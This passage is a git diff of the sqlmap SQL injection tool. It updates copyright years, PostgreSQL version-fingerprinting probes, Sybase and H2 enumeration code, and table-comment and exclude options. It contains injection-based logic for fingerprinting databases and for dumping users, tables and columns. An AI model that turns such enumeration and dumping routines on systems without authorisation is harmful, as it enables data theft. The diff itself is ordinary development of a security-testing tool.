2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -45,7 +45,7 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None + banVer = kb.bannerFp.get("dbmsVersion") banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) @@ -60,7 +60,7 @@ def checkDbms(self): """ References for fingerprint: - * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 9.1.3) + * https://www.postgresql.org/docs/current/static/release.html """ if not conf.extensiveFp and Backend.isDbmsWithin(PGSQL_ALIASES): @@ -73,7 +73,7 @@ def checkDbms(self): infoMsg = "testing %s" % DBMS.PGSQL logger.info(infoMsg) - result = inject.checkBooleanExpression("[RANDNUM]::int=[RANDNUM]") + result = inject.checkBooleanExpression("QUOTE_IDENT(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.PGSQL @@ -97,8 +97,12 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) - if inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"): - Backend.setVersion(">= 9.5.0") + if inject.checkBooleanExpression("XMLTABLE(NULL) IS NULL"): + Backend.setVersion(">= 10.0") + elif inject.checkBooleanExpression("SIND(0)=0"): + Backend.setVersionList([">= 9.6.0", "< 10.0"]) + elif inject.checkBooleanExpression("TO_JSONB(1) IS NOT NULL"): + Backend.setVersionList([">= 9.5.0", "< 9.6.0"]) elif inject.checkBooleanExpression("JSON_TYPEOF(NULL) IS NULL"): Backend.setVersionList([">= 9.4.0", "< 9.5.0"]) elif inject.checkBooleanExpression("ARRAY_REPLACE(NULL,1,1) IS NULL"): diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index 13129c9e2d7..c83d3b4fc43 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -22,6 +22,6 @@ def escape(expression, quote=True): """ def escaper(value): - return "(%s)" % "||".join("CHR(%d)" % ord(_) for _ in value) # Postgres CHR() function already accepts Unicode code point of character(s) + return "(%s)" % "||".join("CHR(%d)" % ord(_) for _ in value) # Postgres CHR() function already accepts Unicode code point of character(s) return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 10b52a56c12..13edbbce162 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index 5f7e7922a8f..adb10a1b908 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index ae2722a9aed..c406d2e07b2 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -19,7 +19,6 @@ from lib.core.exception import SqlmapMissingDependence from plugins.generic.connector import Connector as GenericConnector - class Connector(GenericConnector): """ Homepage: http://pysqlite.googlecode.com/ and http://packages.ubuntu.com/quantal/python-sqlite diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index f77f6feee5c..1af810a884d 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index 68937c506fd..190a7be8d9d 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index 109c7d6b399..9fc3dcc3ec3 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -45,7 +45,7 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] + banVer = kb.bannerFp.get("dbmsVersion") banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index 611d9b6607b..ec6470aadf3 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index a4c89146e4f..8ec1c8466ea 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index 43ee7b166aa..20d74b76516 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index fe1cec52f85..3c7e37e78e0 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -43,6 +43,8 @@ def connect(self): self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) except (pymssql.Error, _mssql.MssqlDatabaseException), msg: raise SqlmapConnectionException(msg) + except ValueError: + raise SqlmapConnectionException self.initCursor() self.printConnected() diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index a55d31a2e34..872fc37db56 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,13 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.common import filterPairValues from lib.core.common import isTechniqueAvailable -from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unArrayizeValue @@ -38,7 +37,6 @@ def getUsers(self): rootQuery = queries[DBMS.SYBASE].users - randStr = randomStr() query = rootQuery.inband.query if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: @@ -47,7 +45,7 @@ def getUsers(self): blinds = (True,) for blind in blinds: - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: kb.data.cachedUsers = retVal[0].values()[0] @@ -94,7 +92,6 @@ def getDbs(self): logger.info(infoMsg) rootQuery = queries[DBMS.SYBASE].dbs - randStr = randomStr() query = rootQuery.inband.query if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: @@ -103,7 +100,7 @@ def getDbs(self): blinds = [True] for blind in blinds: - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: kb.data.cachedDbs = retVal[0].values()[0] @@ -146,9 +143,8 @@ def getTables(self, bruteForce=None): for db in dbs: for blind in blinds: - randStr = randomStr() query = rootQuery.inband.query % db - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr], blind=blind) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: for table in retVal[0].values()[0]: @@ -176,7 +172,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod conf.db = self.getCurrentDb() elif conf.db is not None: - if ',' in conf.db: + if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) @@ -188,8 +184,8 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod else: colList = [] - if conf.excludeCol: - colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + if conf.exclude: + colList = [_ for _ in colList if _ not in conf.exclude.split(',')] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) @@ -210,7 +206,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod raise SqlmapNoneDataException(errMsg) for tbl in tblList: - tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl) + tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True) if bruteForce: resumeAvailable = False @@ -268,7 +264,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if dumpMode and colList: table = {} - table[safeSQLIdentificatorNaming(tbl)] = dict((_, None) for _ in colList) + table[safeSQLIdentificatorNaming(tbl, True)] = dict((_, None) for _ in colList) kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table continue @@ -278,18 +274,17 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod logger.info(infoMsg) for blind in blinds: - randStr = randomStr() query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl)) - retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.usertype' % randStr], blind=blind) + retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.usertype' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: table = {} columns = {} - for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.usertype" % randStr])): + for name, type_ in filterPairValues(zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.usertype" % kb.aliasName])): columns[name] = SYBASE_TYPES.get(int(type_) if isinstance(type_, basestring) and type_.isdigit() else type_, type_) - table[safeSQLIdentificatorNaming(tbl)] = columns + table[safeSQLIdentificatorNaming(tbl, True)] = columns kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = table break diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py index 59629a3ca52..51fc0884257 100644 --- a/plugins/dbms/sybase/filesystem.py +++ b/plugins/dbms/sybase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py index a8d707d0fac..c88b22d045d 100644 --- a/plugins/dbms/sybase/fingerprint.py +++ b/plugins/dbms/sybase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -46,7 +46,7 @@ def getFingerprint(self): value += "active fingerprint: %s" % actVer if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] + banVer = kb.bannerFp.get("dbmsVersion") banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py index e83c65ed2ea..9b8f1e7fdd4 100644 --- a/plugins/dbms/sybase/syntax.py +++ b/plugins/dbms/sybase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py index 73a17bd9f48..ab518e6c947 100644 --- a/plugins/dbms/sybase/takeover.py +++ b/plugins/dbms/sybase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/plugins/generic/__init__.py +++ b/plugins/generic/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py index 3676f570724..ff04024307f 100644 --- a/plugins/generic/connector.py +++ b/plugins/generic/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -20,6 +20,7 @@ class Connector: def __init__(self): self.connector = None self.cursor = None + self.hostname = None def initConnection(self): self.user = conf.dbmsUser or "" @@ -34,9 +35,10 @@ def printConnected(self): logger.info(infoMsg) def closed(self): - infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) - infoMsg += ":%d closed" % self.port - logger.info(infoMsg) + if self.hostname: + infoMsg = "connection to %s server %s" % (conf.dbms, self.hostname) + infoMsg += ":%d closed" % self.port + logger.info(infoMsg) self.connector = None self.cursor = None diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py index b314410db3a..fa390b361e3 100644 --- a/plugins/generic/custom.py +++ b/plugins/generic/custom.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -88,6 +88,7 @@ def sqlShell(self): try: query = raw_input("sql-shell> ") query = getUnicode(query, encoding=sys.stdin.encoding) + query = query.strip("; ") except KeyboardInterrupt: print errMsg = "user aborted" diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 36c00b4f226..e126e65fc3c 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -23,6 +23,7 @@ from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import singleTimeLogMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming @@ -31,6 +32,7 @@ from lib.core.data import logger from lib.core.data import paths from lib.core.data import queries +from lib.core.decorators import stackedmethod from lib.core.dicts import FIREBIRD_TYPES from lib.core.dicts import INFORMIX_TYPES from lib.core.enums import CHARSET_TYPE @@ -259,24 +261,28 @@ def getTables(self, bruteForce=None): rootQuery = queries[Backend.getIdentifiedDbms()].tables if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: - query = rootQuery.inband.query - condition = rootQuery.inband.condition if 'condition' in rootQuery.inband else None + values = [] - if condition: - if not Backend.isDbms(DBMS.SQLITE): - query += " WHERE %s" % condition + for query, condition in ((rootQuery.inband.query, getattr(rootQuery.inband, "condition", None)), (getattr(rootQuery.inband, "query2", None), getattr(rootQuery.inband, "condition2", None))): + if not isNoneValue(values) or not query: + break - if conf.excludeSysDbs: - infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) - logger.info(infoMsg) - query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) - else: - query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) + if condition: + if not Backend.isDbms(DBMS.SQLITE): + query += " WHERE %s" % condition - if len(dbs) < 2 and ("%s," % condition) in query: - query = query.replace("%s," % condition, "", 1) + if conf.excludeSysDbs: + infoMsg = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(unsafeSQLIdentificatorNaming(db) for db in self.excludeDbsList)) + logger.info(infoMsg) + query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs) if db not in self.excludeDbsList) + else: + query += " IN (%s)" % ','.join("'%s'" % unsafeSQLIdentificatorNaming(db) for db in sorted(dbs)) - values = inject.getValue(query, blind=False, time=False) + if len(dbs) < 2 and ("%s," % condition) in query: + query = query.replace("%s," % condition, "", 1) + + if query: + values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): values = filter(None, arrayizeValue(values)) @@ -288,6 +294,24 @@ def getTables(self, bruteForce=None): db = safeSQLIdentificatorNaming(db) table = safeSQLIdentificatorNaming(unArrayizeValue(table), True) + if conf.getComments: + _ = queries[Backend.getIdentifiedDbms()].table_comment + if hasattr(_, "query"): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) + else: + query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) + + comment = unArrayizeValue(inject.getValue(query, blind=False, time=False)) + if not isNoneValue(comment): + infoMsg = "retrieved comment '%s' for table '%s' " % (comment, unsafeSQLIdentificatorNaming(table)) + infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.info(infoMsg) + else: + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get column comments" + singleTimeWarnMessage(warnMsg) + if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: @@ -298,7 +322,11 @@ def getTables(self, bruteForce=None): if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % unsafeSQLIdentificatorNaming(db) logger.info(infoMsg) + continue + if conf.exclude and db in conf.exclude.split(','): + infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(db) + singleTimeLogMessage(infoMsg) continue infoMsg = "fetching number of tables for " @@ -347,6 +375,24 @@ def getTables(self, bruteForce=None): table = safeSQLIdentificatorNaming(table, True) tables.append(table) + if conf.getComments: + _ = queries[Backend.getIdentifiedDbms()].table_comment + if hasattr(_, "query"): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): + query = _.query % (unsafeSQLIdentificatorNaming(db.upper()), unsafeSQLIdentificatorNaming(table.upper())) + else: + query = _.query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(table)) + + comment = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if not isNoneValue(comment): + infoMsg = "retrieved comment '%s' for table '%s' " % (comment, unsafeSQLIdentificatorNaming(table)) + infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) + logger.info(infoMsg) + else: + warnMsg = "on %s it is not " % Backend.getIdentifiedDbms() + warnMsg += "possible to get column comments" + singleTimeWarnMessage(warnMsg) + if tables: kb.data.cachedTables[db] = tables else: @@ -392,10 +438,10 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod raise SqlmapNoneDataException(errMsg) elif conf.db is not None: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): conf.db = conf.db.upper() - if ',' in conf.db: + if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) @@ -410,8 +456,8 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod else: colList = [] - if conf.excludeCol: - colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + if conf.exclude: + colList = [_ for _ in colList if _ not in conf.exclude.split(',')] for col in colList: colList[colList.index(col)] = safeSQLIdentificatorNaming(col) @@ -419,7 +465,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod colList = filter(None, colList) if conf.tbl: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): conf.tbl = conf.tbl.upper() tblList = conf.tbl.split(',') @@ -523,7 +569,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): @@ -559,6 +605,8 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod if values is None: values = inject.getValue(query, blind=False, time=False) + if values and isinstance(values[0], basestring): + values = [values] if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values): index, values = 1, [] @@ -649,7 +697,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -658,8 +706,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query += condQuery elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.blind.count % (conf.db, conf.db, \ - unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) + query = rootQuery.blind.count % (conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) query += condQuery.replace("[DB]", conf.db) elif Backend.isDbms(DBMS.FIREBIRD): @@ -714,6 +761,10 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery field = None + elif Backend.isDbms(DBMS.H2): + query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) + query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) + field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query += condQuery @@ -753,13 +804,12 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod singleTimeWarnMessage(warnMsg) if not onlyColNames: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) elif Backend.isDbms(DBMS.MSSQL): - query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, - conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) + query = rootQuery.blind.query2 % (conf.db, conf.db, conf.db, conf.db, column, conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1]) elif Backend.isDbms(DBMS.FIREBIRD): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column) elif Backend.isDbms(DBMS.INFORMIX): @@ -803,6 +853,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod return kb.data.cachedColumns + @stackedmethod def getSchema(self): infoMsg = "enumerating database management system schema" logger.info(infoMsg) @@ -818,10 +869,7 @@ def getSchema(self): self.getTables() infoMsg = "fetched tables: " - infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if \ - Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) \ - else ".", unsafeSQLIdentificatorNaming(t)) for t in tbl) for db, tbl in \ - kb.data.cachedTables.items()]) + infoMsg += ", ".join(["%s" % ", ".join("%s%s%s" % (unsafeSQLIdentificatorNaming(db), ".." if Backend.isDbms(DBMS.MSSQL) or Backend.isDbms(DBMS.SYBASE) else '.', unsafeSQLIdentificatorNaming(_)) for _ in tbl) for db, tbl in kb.data.cachedTables.items()]) logger.info(infoMsg) for db, tables in kb.data.cachedTables.items(): diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 66a2eb2b56a..87a4e9444e8 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -22,6 +22,8 @@ from lib.core.common import prioritySortColumns from lib.core.common import readInput from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import singleTimeLogMessage +from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf @@ -65,18 +67,23 @@ def dumpTable(self, foundData=None): conf.db = self.getCurrentDb() elif conf.db is not None: - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB, DBMS.H2): conf.db = conf.db.upper() - if ',' in conf.db: + if ',' in conf.db: errMsg = "only one database name is allowed when enumerating " errMsg += "the tables' columns" raise SqlmapMissingMandatoryOptionException(errMsg) + if 